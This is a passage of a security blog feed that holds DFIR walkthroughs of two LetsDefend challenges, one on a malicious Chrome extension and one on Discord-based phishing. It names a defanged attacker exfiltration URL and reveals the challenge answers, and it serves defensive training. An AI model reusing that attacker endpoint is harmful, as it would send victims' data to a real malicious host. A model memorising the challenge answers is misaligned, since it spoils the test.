&lt;em&gt;McAfee&lt;/em&gt; sample, it is located in the same function within the extension. Good find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1411px&#34; data-flex-grow=&#34;588&#34; height=&#34;136&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/002b28deeef183b340b2f587bab29a27_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-full-url-the-attacker-uses-to-exfiltrate-thedata&#34;&gt;Question 5: What is the full URL the attacker uses to exfiltrate the data?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we found the &lt;strong&gt;e&lt;/strong&gt; variable with the domain name value, let&amp;rsquo;s see if we can find the full URL. The &lt;em&gt;McAfee&lt;/em&gt; blog mentions that a victim&amp;rsquo;s data is exfiltrated with an &lt;em&gt;HTTP POST&lt;/em&gt; method to the domain so let&amp;rsquo;s search &lt;strong&gt;b0.js&lt;/strong&gt; for &lt;em&gt;POST&lt;/em&gt; this time:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;363&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/34cc0a7ccd18022ca1de3ba8dbb8ea34_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/34cc0a7ccd18022ca1de3ba8dbb8ea34_MD5_hu_6787d30e613cf561.png 800w, https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/34cc0a7ccd18022ca1de3ba8dbb8ea34_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right above the &lt;em&gt;POST&lt;/em&gt; value, we can see that the URL that data is sent to is the &lt;strong&gt;e&lt;/strong&gt; variable we found in &lt;strong&gt;Question 4 _+ &amp;quot; # &amp;ldquo;&lt;/strong&gt;_/chrome/TrackingData&amp;quot;Putting this all together, we get:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;hxxps://a1l4m[.]000webhostapp[.]com/chrome/TrackingData&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/2dcedaf4d84b5ec28caa8c3dd4736f64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-function-name-responsible-for-getting-the-victims-location&#34;&gt;Question 6: What is the function name responsible for getting the victim&amp;rsquo;s location?&#xA;&lt;/h3&gt;&lt;p&gt;To locate the location function, we&amp;rsquo;ll take the path of least resistance and search for &amp;ldquo;location&amp;quot;within the code. The first thing we&amp;rsquo;ll find is the &lt;strong&gt;get_location&lt;/strong&gt; function which can be used to access &lt;em&gt;Geolocation&lt;/em&gt; data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;379px&#34; data-flex-grow=&#34;158&#34; height=&#34;506&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/e71aa77c54a888d70df4ebeb1a4b6496_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1432px&#34; data-flex-grow=&#34;597&#34; height=&#34;134&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/7321c3ea513ee89a0e07dd937ea0948e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-variable-name-that-is-responsible-for-storing-the-zip-code-of-thevictim&#34;&gt;Question 7: What is the variable name that is responsible for storing the zip code of the victim?&#xA;&lt;/h3&gt;&lt;p&gt;Okay we made it to the last question! Just as we did in the previous question, let&amp;rsquo;s do a simple search within the code; this time we will look for &amp;quot; # &amp;ldquo;zip.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;384px&#34; data-flex-grow=&#34;160&#34; height=&#34;499&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/0677c31f1c13ad56366ee30cd2350ab3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We found some evidence of the variable in the code — that&amp;rsquo;s a great start but let&amp;rsquo;s refer to the &lt;em&gt;McAfee&lt;/em&gt; write-up one more time:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The country, city, and zip are gathered using ip-api.com.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;372px&#34; data-flex-grow=&#34;155&#34; height=&#34;516&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/4678defa8488986bc1a07bbcaeb9cccc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have validated the &lt;em&gt;JavaScript&lt;/em&gt; code on our victim&amp;rsquo;s machine and confirmed it with the &lt;em&gt;McAfee&lt;/em&gt; research, let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1465px&#34; data-flex-grow=&#34;610&#34; height=&#34;131&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-chrome-extension-challenge-walkthrough/0339c3c1e5f84c7049756baff746b6a1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Nice job! We successfully navigated the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/malicious-chrome-extension&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious Chrome Extension&lt;/strong&gt;&lt;/a&gt; by analyzing the victim&amp;rsquo;s &lt;em&gt;Chrome cache.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We learned through our research that this malicious extension sends the victim&amp;rsquo;s browsing data to an external, attacker controlled domain — this creates a huge privacy risk! Having identified the source of the attack, it&amp;rsquo;s time to bring this investigation to a close.&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for the opportunity to practice our &lt;em&gt;Chrome&lt;/em&gt; cache analysis skills! This challenge was a fantastic opportunity to see a practical example of how a malicious extension can compromise a user&amp;rsquo;s data and privacy. We also got valuable exposure to some tools like &lt;em&gt;DB Browser&lt;/em&gt; to strengthen our knowledge of the &lt;em&gt;Google Chrome&lt;/em&gt; local cache!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;SQLite Browser:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sqlitebrowser.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sqlitebrowser.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Foxtron Forensics Google Chrome History Location:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Popular Science — These 5 popular Chrome extensions are compromising your computer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;McAfee — Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome Developers Manifest File Format:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/reference/manifest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.chrome.com/docs/extensions/reference/manifest&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome Developers Messages.Json:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Discord Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/</link>
            <pubDate>Thu, 30 May 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/6f3ce73a7d46cd58af97283fb889ce2d_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Discord Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--discord-forensics-challenge-walkthrough&#34;&gt;LetsDefend — Discord Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-dfir-investigation-using-chromecacheview&#34;&gt;Endpoint DFIR Investigation using ChromeCacheView&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/6f3ce73a7d46cd58af97283fb889ce2d_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/discord-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever wondered how an adversary could use &lt;em&gt;social engineering&lt;/em&gt; to lure a victim to &lt;em&gt;Discord&lt;/em&gt; and then compromise them with malware?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re about to investigate how this can happen by working through the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Discord Forensics Challenge&lt;/strong&gt;&lt;/a&gt; over on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;! This is an incident response challenge that has us defenders investigating an infected &lt;em&gt;Windows&lt;/em&gt; endpoint. To understand how the attack unfolded, we&amp;rsquo;ll need to review artifacts on the system like the &lt;em&gt;Discord&lt;/em&gt; cache and determine how the malware was delivered.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;Discord&lt;/em&gt; cache analysis, check out some new tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;http://Discord%20Forensics%20Challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend Discord Forensics Challenge&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right blog.&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s put on our detective hats and have some fun with forensics! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/discord-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our SIEM alerted that AV blocked malware from running on an employee&amp;rsquo;s machine. For further investigation, the incident response team quickly acquired an image of that machine. To find out how this malware got on the machine, their task is to find the entry point of the attack and trace the attacker.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2-3&#34;&gt;Questions 1, 2, &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;1-what-is-the-name-of-the-attacker&#34;&gt;1. What is the name of the attacker?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;2-what-application-is-used-for-messaging&#34;&gt;2. What application is used for messaging?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;3-what-is-the-attackers-username-on-the-application&#34;&gt;3. What is the attacker&amp;rsquo;s username on the application?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s get comfortable with our virtual analysis environment and extract the challenge file from the &lt;em&gt;Challenge&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;While the archive is extracting, let&amp;rsquo;s also check out our &lt;em&gt;Tools&lt;/em&gt; folder which will help us get an idea of what utilities we have at our disposal to solve this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;530px&#34; data-flex-grow=&#34;220&#34; height=&#34;362&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/a0afb68df539d6e8adb4f32dc4813c98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Behold — our toolkit!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve got a couple of interesting utilities but the two mail clients seem out of place. Maybe Email is a good place to start the investigation? We will see if we can discover any email files that we can check through to understand if there was any &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;phishing&lt;/a&gt; involved for initial access.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check the standard &lt;em&gt;Outlook&lt;/em&gt; and &lt;em&gt;Thunderbird&lt;/em&gt; data file locations to see if any locally saved items are available:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Outlook:&lt;/strong&gt; &lt;em&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Outlook&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Thunderbird:&lt;/strong&gt; &lt;em&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Roaming\Thunderbird\Profiles&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, there is nothing in either directory. But hope is not lost — what about the built-in &lt;em&gt;Windows Mail&lt;/em&gt; client? Maybe the victim was using that application? Let&amp;rsquo;s check!&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Windows Live Mail&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;483px&#34; data-flex-grow=&#34;201&#34; height=&#34;388&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/85e7471d22d49b260d946390fe56a5e8_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Victim&amp;rsquo;s Windows Live Mail AppData Folder&lt;/p&gt;&#xA;&lt;p&gt;There we go! We have several emails to read through. Let&amp;rsquo;s launch &lt;em&gt;Thunderbird&lt;/em&gt; and open the 3 &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Job Offer&amp;quot;&#xA;messages.&lt;/p&gt;&#xA;&lt;p&gt;The sender&amp;rsquo;s FROM field name is &lt;strong&gt;abdlhameed&lt;/strong&gt;. We&amp;rsquo;ll use this information to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we get to the last email in the thread, &lt;em&gt;Job Offer3.eml&lt;/em&gt;, we&amp;rsquo;ll find a couple of new pieces of information in the body of the email that we can use to answer &lt;strong&gt;Questions 2 &amp;amp; 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;581px&#34; data-flex-grow=&#34;242&#34; height=&#34;330&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/be2a924288415074f676707256eb5fea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the thread, we can see that the attacker is attempting to move the conversation from email to &lt;em&gt;Discord&lt;/em&gt;. If you aren&amp;rsquo;t familiar, &lt;em&gt;Discord&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Discord#cite_note-guilds-9&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;An instant messaging and VoIP social platform which allows communication through voice calls, video calls, text messaging, and media and files.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Pivoting to a legitimate web service is a common defense evasion technique (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1102/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1102&lt;/a&gt;). Moving a victim to a service which is outside of the purview of the security team/tools and into attacker-controlled infrastructure can allow for unimpeded next steps in the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;395px&#34; data-flex-grow=&#34;164&#34; height=&#34;485&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/3c47eee553eb4c1604c21b82cdac4cb3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-when-did-an-attacker-send-the-first-message-to-the-victim-on-this-application&#34;&gt;Question 4: When did an attacker send the first message to the victim on this application?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s really dig deep. Since we know that the victim was lured to contact the attacker on &lt;em&gt;Discord&lt;/em&gt; to discuss the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;job offer,&amp;quot;&#xA;there must be some artifacts in the image that we can analyze.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start by doing some research on &lt;em&gt;Google&lt;/em&gt; to see if we can gather any intelligence about what data &lt;em&gt;Discord&lt;/em&gt; stores on a local system. Fortunately, we stumble across a fantastic write up about artifacts stored within the &lt;em&gt;Discord&lt;/em&gt; cache folder!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;  title=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Finding Discord app chats in Windows.&lt;/strong&gt;&#xA;_Discord on the desktop In previous posts I discussed some ways of recovering and presenting Discord app chats from&amp;hellip;_abrignoni.blogspot.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to this researcher, &lt;em&gt;Discord&lt;/em&gt; data is structured very similarly to the &lt;em&gt;Google Chrome&lt;/em&gt; cache — this means that we can probably leverage &lt;strong&gt;&lt;em&gt;ChromeCacheView&lt;/em&gt;&lt;/strong&gt; from our &lt;em&gt;Tools&lt;/em&gt; folder to perform further analysis.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s load up &lt;em&gt;ChromeCacheView,&lt;/em&gt; press &lt;em&gt;File&lt;/em&gt;, then &lt;em&gt;Select Cache Folder&lt;/em&gt;. We&amp;rsquo;ll browse for the folder manually and point to the &lt;em&gt;Discord&lt;/em&gt; cache folder within the victim image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\Administrator\AppData\Roaming\discord\Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The is a lot of data here but we can narrow our search scope a bit. Press View &amp;gt; Use Quick Filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;457px&#34; data-flex-grow=&#34;190&#34; height=&#34;420&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/35a4155aade3197c2d5731b41d6b8d3b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we will search for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;message&lt;/em&gt;&lt;/strong&gt;&amp;quot;&#xA;and see if we get any results&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;752px&#34; data-flex-grow=&#34;313&#34; height=&#34;255&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/3e327448ee9375bc4afdc1a2feb6634b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now we&amp;rsquo;re getting somewhere! We can actually review the content of these &lt;em&gt;JSON&lt;/em&gt; files by right clicking the entry, selecting &amp;quot; # &amp;ldquo;Open selected cache file with&amp;hellip;,&amp;ldquo;and selecting a plain text editor like &lt;em&gt;Notepad.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re interested in the contents of the private chat between the attacker and the victim. After reviewing the &lt;em&gt;data within the JSON&lt;/em&gt; files, let&amp;rsquo;s focus first on the one with the file size of 767.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/7778669ea5d0b4577bfd6752745ab8a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the data is initially difficult to comprehend, I have highlighted the snippet above with the general format of each message — they seem to start with &amp;quot; # &amp;ldquo;id&amp;quot;and end with &amp;quot; # &amp;ldquo;components.&amp;ldquo;In the excerpt above we can see the initial message on &lt;em&gt;Discord&lt;/em&gt; from the attacker to the victim including the timestamp!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1207px&#34; data-flex-grow=&#34;503&#34; height=&#34;159&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/4036544bc141f36431b996097116681e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-attacker-has-sent-a-server-invitation-url-to-the-victim-what-is-the-fullurl&#34;&gt;Question 5: The attacker has sent a server invitation URL to the victim, what is the full URL?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue to analyze the &lt;em&gt;JSON&lt;/em&gt; file we retrieved from &lt;em&gt;ChromeCacheView.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the same private chat that we analyzed in &lt;strong&gt;Question 4&lt;/strong&gt;, the attacker states that they are going to create and invite the victim to a &amp;quot; # &amp;ldquo;server&amp;rdquo;— this is &lt;em&gt;Discord&lt;/em&gt; shorthand for group chat/community on the platform. Then, the attacker provides a &lt;em&gt;Discord&lt;/em&gt; URL where the victim can join the server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/23dc9a1a76ca280ac93ebad3280e67dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/3557828818516d3aa916440610887f9e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 